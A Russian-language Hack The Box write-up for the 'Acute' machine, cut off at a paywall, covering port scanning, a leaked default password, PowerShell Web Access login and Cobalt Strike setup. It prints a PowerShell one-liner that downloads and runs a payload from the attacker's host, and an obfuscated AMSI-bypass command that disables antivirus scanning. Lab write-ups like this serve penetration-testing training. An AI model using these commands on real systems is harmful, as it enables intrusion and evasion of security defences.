В этом рай­тапе я покажу ата­ку на Active Directorу с помощью популяр­ного инс­тру­мен­та Cobalt Strike. Мы про­ведем базовый сбор информа­ции, что­бы получить пер­воначаль­ный дос­туп, затем пос­ледим за дей­стви­ями поль­зовате­ля, воору­жив­шись кей­лог­гером и скрин­шотером, а так­же рас­смот­рим один из методов прод­вижения с исполь­зовани­ем PowerShell.

Про­ходить мы будем машину Acute с пло­щад­ки Hack The Box. Уро­вень слож­ности — hard.

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

 

Разведка

 

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.145 acute.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Результат работы скрипта
Ре­зуль­тат работы скрип­та

По резуль­татам ска­ниро­вания име­ем все­го один откры­тый порт — 443, стан­дар­тный для веб‑сер­вера. Пос­коль­ку на нем исполь­зует­ся SSL, мы можем пос­мотреть сер­тификат и в поле commonName находим домен, для которо­го он дей­стви­телен. Nmap авто­мати­чес­ки отоб­ража­ет это поле в резуль­тате ска­ниро­вания. Новый домен тоже добавим в /etc/hosts.

10.10.11.145 acute.htb atsserver.acute.local
Главная страница atsserver.acute.local
Глав­ная стра­ница atsserver.acute.local

Идем осматри­вать сайт. Ссы­лок на нем малова­то, но одна из них ведет на документ.

Страница с документом
Стра­ница с докумен­том

Ска­чаем док для ана­лиза: в нем может быть инте­рес­ная информа­ция.

 

Точка входа

В докумен­те находим какой‑то дефол­тный пароль. Такие вещи всег­да сто­ит отме­чать — при про­хож­дении лабора­торок они по закону жан­ра обя­заны еще выс­тре­лить.

Содержимое скачанного документа
Со­дер­жимое ска­чан­ного докумен­та

Так­же находим упо­мина­ние работы, а чуть даль­ше и ссыл­ку на PSWA (PowerShell Web Access). Эта фун­кция поз­воля­ет уда­лен­но управлять сер­вером с помощью PowerShell через обыч­ный бра­узер. Домен­ное имя из ссыл­ки добавим в файл /etc/hosts.

10.10.11.145 acute.htb atsserver.acute.local

Пе­рехо­дим по най­ден­ной ссыл­ке, и нам откры­вает­ся панель авто­риза­ции PSWA.

Панель авторизации PSWA
Па­нель авто­риза­ции PSWA

У нас есть пароль, оста­лось най­ти име­на поль­зовате­ля и машины.

 

Точка опоры

Фай­лы вро­де офис­ных докумен­тов очень полез­ны при раз­ведке. Их метадан­ные могут содер­жать, к при­меру, имя поль­зовате­ля и наз­вание машины. Поэто­му пер­вым делом получим метадан­ные ска­чан­ного фай­ла с помощью Exiftool.

Метаданные документа
Ме­тадан­ные докумен­та

Из поля Creator получа­ем имя поль­зовате­ля, а поле Description рас­кры­вает имя машины. Но с эти­ми учет­ными дан­ными под­клю­чить­ся не получи­лось, поэто­му я пошел искать на сай­те дру­гие под­сказ­ки. И нашел... име­на поль­зовате­лей.

Найденные пользователи
Най­ден­ные поль­зовате­ли

Фор­миру­ем спи­сок по уже име­юще­муся у нас фор­мату.

Список аккаунтов
Спи­сок акка­унтов

И с най­ден­ным паролем на обоз­начен­ной машине мы получа­ем коман­дную веб‑обо­лоч­ку PowerShell от име­ни поль­зовате­ля edavies.

Командная веб-оболочка
Ко­ман­дная веб‑обо­лоч­ка

Для даль­нейшей экс­плу­ата­ции и прод­вижения я решил исполь­зовать популяр­ный фрей­мворк Cobalt Strike. Пер­вым делом соз­дадим лис­тенер.

Параметры листенера
Па­рамет­ры лис­тенера

Для удоб­ной дос­тавки наг­рузки будем исполь­зовать скрипт на PowerShell, рас­положен­ный на локаль­ном веб‑сер­вере.

Настройки Scripted Web Delivery
Нас­трой­ки Scripted Web Delivery

Пос­ле нас­трой­ки нам даже дадут коман­ду, которую необ­ходимо ввес­ти на целевой сис­теме.

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.14.26:80/info'))"
Ошибка запуска нагрузки
Ошиб­ка запус­ка наг­рузки

Но нас оста­нав­лива­ет анти­вирус, который триг­гернул из‑за AMSI.

Справка: AMSI

Antimalware Scan Interface (AMSI) — это ком­понент Microsoft Windows, который обес­печива­ет более глу­бокую про­вер­ку встро­енных служб сце­нари­ев. Прод­винутое вре­донос­ное ПО исполь­зует замас­кирован­ные или зашиф­рован­ные сце­нарии, что­бы укло­нить­ся от тра­дици­онных методов про­вер­ки. Такое вре­донос­ное ПО час­то заг­ружа­ется непос­редс­твен­но в память, поэто­му не исполь­зует фай­лы на устрой­стве. AMSI — это интерфейс, через который при­ложе­ния и служ­бы в Windows отправ­ляют зап­росы на про­вер­ку уста­нов­ленно­му на компь­юте­ре средс­тву защиты от вре­донос­ного ПО.

Но мы можем запат­чить AMSI, что­бы исполь­зуемый нами код не ухо­дил на про­вер­ку. Метод зак­люча­ется в изме­нении адре­сов заголов­ков amsiContext (кон­текст, в котором про­исхо­дит ска­ниро­вание): зануля­ем ука­затель.

[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
Патч AMSI
Патч AMSI

И пос­ле пов­торно­го запус­ка наг­рузки получа­ем активную сес­сию в нашем фрей­мвор­ке.

Граф сессий в CS
Граф сес­сий в CS
 

Продвижение

По­лучив кон­троль над хос­том, я сра­зу прос­мотрел запущен­ные про­цес­сы и сес­сии активных поль­зовате­лей.

Process Explorer в Cobalt Strike
Process Explorer в Cobalt Strike

Ви­дим запущен­ные про­цес­сы powershell.exe в пер­вой сес­сии. Это зна­чит, что поль­зователь авто­ризо­ван и выпол­няет опре­делен­ные задачи. Что­бы получить дос­туп к окру­жению сес­сии, нам нужен кон­троль над ней. Дру­гими сло­вами, наш агент дол­жен работать в той же сес­сии.

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.


  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    6 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии